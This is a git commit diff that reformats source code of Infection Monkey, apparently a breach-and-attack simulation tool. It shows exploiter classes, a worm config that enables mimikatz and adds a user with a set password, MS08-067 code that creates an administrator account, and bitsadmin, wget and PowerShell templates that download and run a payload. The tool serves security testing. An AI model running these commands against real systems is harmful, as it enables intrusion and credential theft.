Auto reformat all code

This commit is contained in:
Shay Nehmad 2019-10-28 21:11:05 +02:00
parent d69976f4b5
commit 40494d3c3c
147 changed files with 1370 additions and 1150 deletions

View File

@ -114,7 +114,7 @@ class MonkeyDrops(object):
except OSError:
LOG.warning("Cannot set reference date to destination file")
monkey_options =\
monkey_options = \
build_monkey_commandline_explicitly(self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth)
if OperatingSystem.Windows == SystemInfoCollector.get_os():

View File

@ -1,109 +1,109 @@
{
"should_exploit": true,
"command_servers": [
"192.0.2.0:5000"
],
"internet_services": [
"monkey.guardicore.com",
"www.google.com"
],
"keep_tunnel_open_time": 60,
"subnet_scan_list": [
"should_exploit": true,
"command_servers": [
"192.0.2.0:5000"
],
"internet_services": [
"monkey.guardicore.com",
"www.google.com"
],
"keep_tunnel_open_time": 60,
"subnet_scan_list": [
],
"inaccessible_subnets": [],
"blocked_ips": [],
"current_server": "192.0.2.0:5000",
"alive": true,
"collect_system_info": true,
"extract_azure_creds": true,
"should_use_mimikatz": true,
"depth": 2,
],
"inaccessible_subnets": [],
"blocked_ips": [],
"current_server": "192.0.2.0:5000",
"alive": true,
"collect_system_info": true,
"extract_azure_creds": true,
"should_use_mimikatz": true,
"depth": 2,
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
"dropper_date_reference_path_linux": "/bin/sh",
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
"dropper_log_path_linux": "/tmp/user-1562",
"dropper_set_date": true,
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
"dropper_target_path_linux": "/tmp/monkey",
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
"dropper_date_reference_path_linux": "/bin/sh",
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
"dropper_log_path_linux": "/tmp/user-1562",
"dropper_set_date": true,
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
"dropper_target_path_linux": "/tmp/monkey",
"monkey_dir_name": "monkey_dir",
"monkey_dir_name": "monkey_dir",
"kill_file_path_linux": "/var/run/monkey.not",
"kill_file_path_windows": "%windir%\\monkey.not",
"dropper_try_move_first": true,
"exploiter_classes": [
"SSHExploiter",
"SmbExploiter",
"WmiExploiter",
"ShellShockExploiter",
"ElasticGroovyExploiter",
"SambaCryExploiter",
"Struts2Exploiter",
"WebLogicExploiter",
"HadoopExploiter",
"VSFTPDExploiter",
"MSSQLExploiter"
],
"finger_classes": [
"SSHFinger",
"PingScanner",
"HTTPFinger",
"SMBFinger",
"MySQLFinger",
"MSSQLFingerprint",
"ElasticFinger"
],
"max_iterations": 3,
"monkey_log_path_windows": "%temp%\\~df1563.tmp",
"monkey_log_path_linux": "/tmp/user-1563",
"send_log_to_server": true,
"ms08_067_exploit_attempts": 5,
"user_to_add": "Monkey_IUSER_SUPPORT",
"remote_user_pass": "Password1!",
"ping_scan_timeout": 10000,
"smb_download_timeout": 300,
"smb_service_name": "InfectionMonkey",
"retry_failed_explotation": true,
"self_delete_in_cleanup": true,
"serialize_config": false,
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}",
"skip_exploit_if_file_exist": false,
"exploit_user_list": [],
"exploit_password_list": [],
"exploit_lm_hash_list": [],
"exploit_ntlm_hash_list": [],
"exploit_ssh_keys": [],
"sambacry_trigger_timeout": 5,
"sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"],
"sambacry_shares_not_to_check": ["IPC$", "print$"],
"local_network_scan": false,
"tcp_scan_get_banner": true,
"tcp_scan_interval": 0,
"tcp_scan_timeout": 10000,
"tcp_target_ports": [
22,
445,
135,
3389,
80,
8080,
443,
3306,
8008,
9200,
7001,
8088
],
"timeout_between_iterations": 10,
"use_file_logging": true,
"victims_max_exploit": 15,
"victims_max_find": 100,
"post_breach_actions" : []
custom_PBA_linux_cmd = ""
custom_PBA_windows_cmd = ""
PBA_linux_filename = None
PBA_windows_filename = None
"kill_file_path_linux": "/var/run/monkey.not",
"kill_file_path_windows": "%windir%\\monkey.not",
"dropper_try_move_first": true,
"exploiter_classes": [
"SSHExploiter",
"SmbExploiter",
"WmiExploiter",
"ShellShockExploiter",
"ElasticGroovyExploiter",
"SambaCryExploiter",
"Struts2Exploiter",
"WebLogicExploiter",
"HadoopExploiter",
"VSFTPDExploiter",
"MSSQLExploiter"
],
"finger_classes": [
"SSHFinger",
"PingScanner",
"HTTPFinger",
"SMBFinger",
"MySQLFinger",
"MSSQLFingerprint",
"ElasticFinger"
],
"max_iterations": 3,
"monkey_log_path_windows": "%temp%\\~df1563.tmp",
"monkey_log_path_linux": "/tmp/user-1563",
"send_log_to_server": true,
"ms08_067_exploit_attempts": 5,
"user_to_add": "Monkey_IUSER_SUPPORT",
"remote_user_pass": "Password1!",
"ping_scan_timeout": 10000,
"smb_download_timeout": 300,
"smb_service_name": "InfectionMonkey",
"retry_failed_explotation": true,
"self_delete_in_cleanup": true,
"serialize_config": false,
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}",
"skip_exploit_if_file_exist": false,
"exploit_user_list": [],
"exploit_password_list": [],
"exploit_lm_hash_list": [],
"exploit_ntlm_hash_list": [],
"exploit_ssh_keys": [],
"sambacry_trigger_timeout": 5,
"sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"],
"sambacry_shares_not_to_check": ["IPC$", "print$"],
"local_network_scan": false,
"tcp_scan_get_banner": true,
"tcp_scan_interval": 0,
"tcp_scan_timeout": 10000,
"tcp_target_ports": [
22,
445,
135,
3389,
80,
8080,
443,
3306,
8008,
9200,
7001,
8088
],
"timeout_between_iterations": 10,
"use_file_logging": true,
"victims_max_exploit": 15,
"victims_max_find": 100,
"post_breach_actions": []
custom_PBA_linux_cmd = ""
custom_PBA_windows_cmd = ""
PBA_linux_filename = None
PBA_windows_filename = None
}

View File

@ -8,7 +8,7 @@ import json
import logging
import requests
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.model import WGET_HTTP_UPLOAD, BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\
from infection_monkey.model import WGET_HTTP_UPLOAD, BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX, \
DOWNLOAD_TIMEOUT
from infection_monkey.network.elasticfinger import ES_PORT
from common.data.network_consts import ES_SERVICE
@ -83,7 +83,7 @@ class ElasticGroovyExploiter(WebRCE):
# Overridden web_rce method that adds CMD prefix for windows command
try:
if 'windows' in self.host.os['type']:
resp = self.exploit(url, CMD_PREFIX+" "+CHECK_COMMAND)
resp = self.exploit(url, CMD_PREFIX + " " + CHECK_COMMAND)
else:
resp = self.exploit(url, CHECK_COMMAND)
if resp is True:

View File

@ -17,7 +17,6 @@ LOG = logging.getLogger(__name__)
class MSSQLExploiter(HostExploiter):
_EXPLOITED_SERVICE = 'MSSQL'
_TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
@ -143,7 +142,7 @@ class MSSQLExploiter(HostExploiter):
def get_monkey_download_command(self):
dst_path = get_monkey_dest_path(self.monkey_server.http_path)
monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.\
monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND. \
format(http_path=self.monkey_server.http_path, dst_path=dst_path)
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path)
@ -192,5 +191,5 @@ class MSSQLLimitedSizePayload(LimitedSizePayload):
def __init__(self, command, prefix="", suffix=""):
super(MSSQLLimitedSizePayload, self).__init__(command=command,
max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE,
prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START+prefix,
suffix=suffix+MSSQLExploiter.XP_CMDSHELL_COMMAND_END)
prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START + prefix,
suffix=suffix + MSSQLExploiter.XP_CMDSHELL_COMMAND_END)

View File

@ -132,7 +132,7 @@ class ShellShockExploiter(HostExploiter):
self._remove_lock_file(exploit, url, header)
if (http_thread.downloads != 1) or (
'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)):
'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)):
LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
continue

View File

@ -1,5 +1,3 @@
class ExploitingVulnerableMachineError(Exception):
""" Raise when exploiter failed, but machine is vulnerable"""
pass

View File

@ -74,7 +74,7 @@ def get_target_monkey(host):
if host.os.get('type') == platform.system().lower():
# if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe
if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \
host.os.get('machine', '').lower() == platform.machine().lower():
host.os.get('machine', '').lower() == platform.machine().lower():
monkey_path = sys.executable
return monkey_path

View File

@ -49,7 +49,7 @@ class LimitedSizePayload(Payload):
"exceeds required length of command.")
elif self.command == "":
return [self.prefix+self.suffix]
return [self.prefix + self.suffix]
wrapper = textwrap.TextWrapper(drop_whitespace=False, width=self.get_max_sub_payload_length())
commands = [self.get_payload(part)
for part

View File

@ -12,6 +12,7 @@ from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
from infection_monkey.exploit.tools.helpers import get_interface_to_target
from infection_monkey.config import Configuration
__author__ = 'itamar'
LOG = logging.getLogger(__name__)

View File

@ -1,4 +1,3 @@
import threading
import logging
import time
@ -13,7 +12,6 @@ from infection_monkey.exploit.tools.helpers import get_interface_to_target
from infection_monkey.network.info import get_free_tcp_port
from http.server import BaseHTTPRequestHandler, HTTPServer
__author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
@ -34,7 +32,6 @@ HEADERS = {
class WebLogicExploiter(HostExploiter):
_TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Weblogic'

View File

@ -162,11 +162,11 @@ class Ms08_067_Exploiter(HostExploiter):
def is_os_supported(self):
if self.host.os.get('type') in self._TARGET_OS_TYPE and \
self.host.os.get('version') in list(self._windows_versions.keys()):
self.host.os.get('version') in list(self._windows_versions.keys()):
return True
if not self.host.os.get('type') or (
self.host.os.get('type') in self._TARGET_OS_TYPE and not self.host.os.get('version')):
self.host.os.get('type') in self._TARGET_OS_TYPE and not self.host.os.get('version')):
is_smb_open, _ = check_tcp_port(self.host.ip_addr, 445)
if is_smb_open:
smb_finger = SMBFinger()
@ -193,9 +193,9 @@ class Ms08_067_Exploiter(HostExploiter):
sock.send("cmd /c (net user {} {} /add) &&"
" (net localgroup administrators {} /add)\r\n".format(
self._config.user_to_add,
self._config.remote_user_pass,
self._config.user_to_add).encode())
self._config.user_to_add,
self._config.remote_user_pass,
self._config.user_to_add).encode())
time.sleep(2)
reply = sock.recv(1000)

View File

@ -122,4 +122,3 @@ class WmiExploiter(HostExploiter):
return success
return False

View File

@ -5,14 +5,14 @@ __author__ = 'itamar'
MONKEY_ARG = "m0nk3y"
DROPPER_ARG = "dr0pp3r"
ID_STRING = "M0NK3Y3XPL0ITABLE"
DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG, )
DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG,)
MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG,)
MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG,)
GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)'
DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG,)
MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG,)
MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd ' \
'/c %%(monkey_path)s %s"' % (MONKEY_ARG, )
'/c %%(monkey_path)s %s"' % (MONKEY_ARG,)
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(' \
'file_path)s exit)) > NUL 2>&1 '
@ -33,12 +33,12 @@ GET_ARCH_LINUX = "lscpu"
# All in one commands (upload, change permissions, run)
HADOOP_WINDOWS_COMMAND = "powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { " \
"Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " \
" if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " \
"{& %(monkey_path)s %(monkey_type)s %(parameters)s } \""
"Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " \
" if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " \
"{& %(monkey_path)s %(monkey_type)s %(parameters)s } \""
HADOOP_LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \
"&& wget -O %(monkey_path)s %(http_path)s " \
"; chmod +x %(monkey_path)s " \
"&& %(monkey_path)s %(monkey_type)s %(parameters)s"
"&& wget -O %(monkey_path)s %(http_path)s " \
"; chmod +x %(monkey_path)s " \
"&& %(monkey_path)s %(monkey_type)s %(parameters)s"
DOWNLOAD_TIMEOUT = 180

View File

@ -182,7 +182,7 @@ class InfectionMonkey(object):
if self._default_server:
if self._network.on_island(self._default_server):
machine.set_default_server(get_interface_to_target(machine.ip_addr) +
(':'+self._default_server_port if self._default_server_port else ''))
(':' + self._default_server_port if self._default_server_port else ''))
else:
machine.set_default_server(self._default_server)
LOG.debug("Default server for machine: %r set to %s" % (machine, machine.default_server))

View File

@ -13,7 +13,6 @@ from requests import ConnectionError
from common.network.network_range import CidrRange
from infection_monkey.utils.environment import is_windows_os
# Timeout for monkey connections
TIMEOUT = 15
LOOPBACK_NAME = b"lo"

View File

@ -12,7 +12,6 @@ LOG = logging.getLogger(__name__)
class MSSQLFinger(HostFinger):
# Class related consts
SQL_BROWSER_DEFAULT_PORT = 1434
BUFFER_SIZE = 4096

View File

@ -11,7 +11,6 @@ BANNER_READ = 1024
class TcpScanner(HostScanner, HostFinger):
_SCANNED_SERVICE = 'unknown(TCP)'
def __init__(self):

View File

@ -27,6 +27,7 @@ class UsersPBA(PBA):
"""
Defines user's configured post breach action.
"""
def __init__(self):
super(UsersPBA, self).__init__(POST_BREACH_FILE_EXECUTION)
self.filename = ''

View File

@ -7,7 +7,6 @@ from infection_monkey.utils.environment import is_windows_os
from infection_monkey.config import WormConfiguration
from infection_monkey.telemetry.attack.t1064_telem import T1064Telem
LOG = logging.getLogger(__name__)
__author__ = 'VakarisZ'
@ -19,6 +18,7 @@ class PBA(object):
"""
Post breach action object. Can be extended to support more than command execution on target machine.
"""
def __init__(self, name="unknown", linux_cmd="", windows_cmd=""):
"""
:param name: Name of post breach action.

View File

@ -16,6 +16,7 @@ class PostBreach(object):
"""
This class handles post breach actions execution
"""
def __init__(self):
self.os_is_linux = not is_windows_os()
self.pba_list = self.config_to_pba_list()

View File

@ -1,7 +1,6 @@
import os
import sys
__author__ = 'itay.mizeretz'

View File

@ -26,4 +26,3 @@ class LinuxInfoCollector(InfoCollector):
super(LinuxInfoCollector, self).get_info()
self.info['ssh_info'] = SSHCollector.get_info()
return self.info

View File

@ -1,6 +1,7 @@
import os
import logging
import sys
sys.coinit_flags = 0 # needed for proper destruction of the wmi python module
import infection_monkey.config

View File

@ -29,4 +29,3 @@ WMI_LDAP_CLASSES = {"ds_user": ("DS_sAMAccountName", "DS_userPrincipalName",
"DS_sAMAccountType", "DS_servicePrincipalName", "DS_userAccountControl",
"DS_whenChanged", "DS_whenCreated"),
}

View File

@ -5,7 +5,6 @@ from abc import ABCMeta, abstractmethod
from infection_monkey.config import WormConfiguration
__author__ = 'itamar'
LOG = logging.getLogger(__name__)

View File

@ -1,4 +1,3 @@
from infection_monkey.transport.http import HTTPServer, LockedHTTPServer
__author__ = 'hoffer'

View File

@ -41,13 +41,13 @@ class SocketsPipe(Thread):
except:
break
self._keep_connection = True
self.source.close()
self.dest.close()
class TcpProxy(TransportProxyBase):
def run(self):
pipes = []
l_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

View File

@ -39,7 +39,6 @@ from monkey_island.cc.resources.test.log_test import LogTest
__author__ = 'Barak'
HOME_FILE = 'index.html'

View File

@ -2,7 +2,6 @@ import os
import json
import logging.config
__author__ = 'Maor.Rayzin'

View File

@ -1,33 +1,33 @@
{
"version": 1,
"disable_existing_loggers": false,
"formatters": {
"simple": {
"format": "%(asctime)s - %(filename)s:%(lineno)s - %(funcName)10s() - %(levelname)s - %(message)s"
}
},
"handlers": {
"console": {
"class": "logging.StreamHandler",
"level": "DEBUG",
"formatter": "simple",
"stream": "ext://sys.stdout"
},
"info_file_handler": {
"class": "logging.handlers.RotatingFileHandler",
"level": "INFO",
"formatter": "simple",
"filename": "info.log",
"maxBytes": 10485760,
"backupCount": 20,
"encoding": "utf8"
}
},
"root": {
"level": "DEBUG",
"handlers": ["console", "info_file_handler"]
"version": 1,
"disable_existing_loggers": false,
"formatters": {
"simple": {
"format": "%(asctime)s - %(filename)s:%(lineno)s - %(funcName)10s() - %(levelname)s - %(message)s"
}
},
"handlers": {
"console": {
"class": "logging.StreamHandler",
"level": "DEBUG",
"formatter": "simple",
"stream": "ext://sys.stdout"
},
"info_file_handler": {
"class": "logging.handlers.RotatingFileHandler",
"level": "INFO",
"formatter": "simple",
"filename": "info.log",
"maxBytes": 10485760,
"backupCount": 20,
"encoding": "utf8"
}
},
"root": {
"level": "DEBUG",
"handlers": [
"console",
"info_file_handler"
]
}
}

View File

@ -13,6 +13,7 @@ if BASE_PATH not in sys.path:
from monkey_island.cc.island_logger import json_setup_logging
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
# This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top.
json_setup_logging(default_path=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'island_logger_default_config.json'),
default_level=logging.DEBUG)

View File

@ -43,6 +43,7 @@ class Monkey(Document):
tunnel = ReferenceField("self")
command_control_channel = EmbeddedDocumentField(CommandControlChannel)
aws_instance_id = StringField(required=False) # This field only exists when the monkey is running on an AWS
# instance. See https://github.com/guardicore/monkey/issues/426.
@staticmethod

View File

@ -188,4 +188,3 @@ class TestMonkey(IslandTestCase):
cache_info_after_query = Monkey.is_monkey.storage.backend.cache_info()
self.assertEqual(cache_info_after_query.hits, 2)

View File

@ -14,6 +14,7 @@ class TestFinding(IslandTestCase):
Also, the working directory needs to be the working directory from which you usually run the island so the
server.json file is found and loaded.
"""
def test_save_finding_validation(self):
self.fail_if_not_testing_env()
self.clean_finding_db()

View File

@ -27,4 +27,3 @@ class AttackConfiguration(flask_restful.Resource):
AttackConfig.update_config({'properties': json.loads(request.data)})
AttackConfig.apply_to_monkey_config()
return {}

View File

@ -16,6 +16,7 @@ from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
__author__ = 'Barak'
import logging
logger = logging.getLogger(__name__)

View File

@ -13,6 +13,7 @@ from monkey_island.cc.services.node import NodeService
__author__ = 'Barak'
# TODO: separate logic from interface

View File

@ -27,5 +27,3 @@ class NetMap(flask_restful.Resource):
"nodes": monkeys + nodes + monkey_island,
"edges": edges
}

View File

@ -9,6 +9,7 @@ class PBAFileDownload(flask_restful.Resource):
"""
File download endpoint used by monkey to download user's PBA file
"""
# Used by monkey. can't secure.
def get(self, path):
return send_from_directory(GET_FILE_DIR, path)

View File

@ -21,6 +21,7 @@ class FileUpload(flask_restful.Resource):
"""
File upload endpoint used to exchange files with filepond component on the front-end
"""
@jwt_required()
def get(self, file_type):
"""

View File

@ -1,6 +1,5 @@
import http.client
import flask_restful
from flask import jsonify
@ -28,10 +27,10 @@ class Report(flask_restful.Resource):
elif report_type == ZERO_TRUST_REPORT_TYPE:
if report_data == REPORT_DATA_PILLARS:
return jsonify({
"statusesToPillars": ZeroTrustService.get_statuses_to_pillars(),
"pillarsToStatuses": ZeroTrustService.get_pillars_to_statuses(),
"grades": ZeroTrustService.get_pillars_grades()
}
"statusesToPillars": ZeroTrustService.get_statuses_to_pillars(),
"pillarsToStatuses": ZeroTrustService.get_pillars_to_statuses(),
"grades": ZeroTrustService.get_pillars_grades()
}
)
elif report_data == REPORT_DATA_PRINCIPLES_STATUS:
return jsonify(ZeroTrustService.get_principles_status())

View File

@ -37,12 +37,12 @@ class TestJsonRepresentations(TestCase):
# dicts and lists
self.assertEqual({
"a": [
{"ba": obj_id_str,
"bb": obj_id_str}
],
"b": {"id": obj_id_str}
},
"a": [
{"ba": obj_id_str,
"bb": obj_id_str}
],
"b": {"id": obj_id_str}
},
normalize_obj({
"a": [
{"ba": bson.objectid.ObjectId(obj_id_str),

View File

@ -22,8 +22,8 @@ class TelemetryFeed(flask_restful.Resource):
if "null" == timestamp or timestamp is None: # special case to avoid ugly JS code...
telemetries = mongo.db.telemetry.find({})
else:
telemetries = mongo.db.telemetry.find({'timestamp': {'$gt': dateutil.parser.parse(timestamp)}})\
telemetries = mongo.db.telemetry.find({'timestamp': {'$gt': dateutil.parser.parse(timestamp)}}) \
\
telemetries = telemetries.sort([('timestamp', flask_pymongo.ASCENDING)])
try:

View File

@ -2,7 +2,6 @@ from bson import json_util
import flask_restful
from flask import request
from monkey_island.cc.auth import jwt_required
from monkey_island.cc.database import mongo, database

View File

@ -1,4 +1,4 @@
{
"server_config": "standard",
"deployment": "develop"
"server_config": "standard",
"deployment": "develop"
}

View File

@ -10,7 +10,6 @@ from monkey_island.cc.services.reporting.report_generation_synchronisation impor
__author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
TECHNIQUES = {'T1210': T1210.T1210,
@ -52,7 +51,7 @@ class AttackReportService:
Generates new report based on telemetries, replaces old report in db with new one.
:return: Report object
"""
report =\
report = \
{
'techniques': {},
'meta': {'latest_monkey_modifytime': Monkey.get_latest_modifytime()},

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1003(AttackTechnique):
tech_id = "T1003"
unscanned_msg = "Monkey tried to obtain credentials from systems in the network but didn't find any or failed."
scanned_msg = ""

View File

@ -5,7 +5,6 @@ __author__ = "VakarisZ"
class T1005(AttackTechnique):
tech_id = "T1005"
unscanned_msg = "Monkey didn't gather any sensitive data from local system."
scanned_msg = ""

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1016(AttackTechnique):
tech_id = "T1016"
unscanned_msg = "Monkey didn't gather network configurations."
scanned_msg = ""

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1018(AttackTechnique):
tech_id = "T1018"
unscanned_msg = "Monkey didn't find any machines on the network."
scanned_msg = ""

View File

@ -3,7 +3,6 @@ from monkey_island.cc.services.attack.technique_reports import AttackTechnique
from common.utils.attack_utils import ScanStatus
from monkey_island.cc.services.attack.technique_reports.technique_report_tools import parse_creds
__author__ = "VakarisZ"

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1041(AttackTechnique):
tech_id = "T1041"
unscanned_msg = "Monkey didn't exfiltrate any info trough command and control channel."
scanned_msg = ""

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1059(AttackTechnique):
tech_id = "T1059"
unscanned_msg = "Monkey didn't exploit any machines to run commands at."
scanned_msg = ""

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1065(AttackTechnique):
tech_id = "T1065"
unscanned_msg = ""
scanned_msg = ""

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1075(AttackTechnique):
tech_id = "T1075"
unscanned_msg = "Monkey didn't try to use pass the hash attack."
scanned_msg = "Monkey tried to use hashes while logging in but didn't succeed."

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1082(AttackTechnique):
tech_id = "T1082"
unscanned_msg = "Monkey didn't gather any system info on the network."
scanned_msg = ""
@ -22,17 +21,17 @@ class T1082(AttackTechnique):
{'$project': {'_id': 0,
'machine': 1,
'collections': [
{'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$gt': ['$aws', {}]}]},
'name': {'$literal': 'Amazon Web Services info'}},
{'used': {'$and': [{'$ifNull': ['$process_list', False]}, {'$gt': ['$process_list', {}]}]},
'name': {'$literal': 'Running process list'}},
{'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$ne': ['$netstat', []]}]},
'name': {'$literal': 'Network connections'}},
{'used': {'$and': [{'$ifNull': ['$ssh_info', False]}, {'$ne': ['$ssh_info', []]}]},
'name': {'$literal': 'SSH info'}},
{'used': {'$and': [{'$ifNull': ['$azure_info', False]}, {'$ne': ['$azure_info', []]}]},
'name': {'$literal': 'Azure info'}}
]}},
{'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$gt': ['$aws', {}]}]},
'name': {'$literal': 'Amazon Web Services info'}},
{'used': {'$and': [{'$ifNull': ['$process_list', False]}, {'$gt': ['$process_list', {}]}]},
'name': {'$literal': 'Running process list'}},
{'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$ne': ['$netstat', []]}]},
'name': {'$literal': 'Network connections'}},
{'used': {'$and': [{'$ifNull': ['$ssh_info', False]}, {'$ne': ['$ssh_info', []]}]},
'name': {'$literal': 'SSH info'}},
{'used': {'$and': [{'$ifNull': ['$azure_info', False]}, {'$ne': ['$azure_info', []]}]},
'name': {'$literal': 'Azure info'}}
]}},
{'$group': {'_id': {'machine': '$machine', 'collections': '$collections'}}},
{"$replaceRoot": {"newRoot": "$_id"}}]

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1086(AttackTechnique):
tech_id = "T1086"
unscanned_msg = "Monkey didn't run powershell."
scanned_msg = ""

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1090(AttackTechnique):
tech_id = "T1090"
unscanned_msg = "Monkey didn't use connection proxy."
scanned_msg = ""
@ -20,5 +19,3 @@ class T1090(AttackTechnique):
data = T1090.get_base_data_by_status(status)
data.update({'proxies': monkeys})
return data

View File

@ -5,7 +5,6 @@ __author__ = "VakarisZ"
class T1105(AttackTechnique):
tech_id = "T1105"
unscanned_msg = "Monkey didn't try to copy files to any systems."
scanned_msg = "Monkey tried to copy files, but failed."

View File

@ -46,5 +46,3 @@ class T1110(AttackTechnique):
data.update({'services': attempts})
return data

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1188(AttackTechnique):
tech_id = "T1188"
unscanned_msg = "Monkey didn't use multi-hop proxy."
scanned_msg = ""

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1210(AttackTechnique):
tech_id = "T1210"
unscanned_msg = "Monkey didn't scan any remote services. Maybe it didn't find any machines on the network?"
scanned_msg = "Monkey scanned for remote services on the network, but couldn't exploit any of them."
@ -30,8 +29,8 @@ class T1210(AttackTechnique):
@staticmethod
def get_scanned_services():
results = mongo.db.telemetry.aggregate([{'$match': {'telem_category': 'scan'}},
{'$sort': {'data.service_count': -1}},
{'$group': {
{'$sort': {'data.service_count': -1}},
{'$group': {
'_id': {'ip_addr': '$data.machine.ip_addr'},
'machine': {'$first': '$data.machine'},
'time': {'$first': '$timestamp'}}}])

View File

@ -15,7 +15,6 @@ __author__ = "itay.mizeretz"
logger = logging.getLogger(__name__)
# This should be used for config values of array type (array of strings only)
ENCRYPTED_CONFIG_ARRAYS = \
[
@ -266,11 +265,11 @@ class ConfigService:
# Check if array of shh key pairs and then decrypt
if isinstance(config_arr[i], dict) and 'public_key' in config_arr[i]:
config_arr[i] = ConfigService.decrypt_ssh_key_pair(config_arr[i]) if is_decrypt else \
ConfigService.decrypt_ssh_key_pair(config_arr[i], True)
ConfigService.decrypt_ssh_key_pair(config_arr[i], True)
else:
config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i])
else:
parent_config_arr[config_arr_as_array[-1]] =\
parent_config_arr[config_arr_as_array[-1]] = \
encryptor.dec(config_arr) if is_decrypt else encryptor.enc(config_arr)
@staticmethod

View File

@ -6,7 +6,6 @@ from monkey_island.cc.services.post_breach_files import remove_PBA_files
from flask import jsonify
from monkey_island.cc.database import mongo
logger = logging.getLogger(__name__)
@ -28,4 +27,3 @@ class Database(object):
def init_db():
if not mongo.db.collection_names():
Database.reset_db()

View File

@ -1,4 +1,5 @@
import logging
__author__ = "Maor.Rayzin"
logger = logging.getLogger(__name__)

View File

@ -1,4 +1,3 @@
__author__ = 'maor.rayzin'

View File

@ -130,7 +130,7 @@ class RemoteRunAwsService:
return r"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {" \
r"$true}; (New-Object System.Net.WebClient).DownloadFile('https://" + island_ip + \
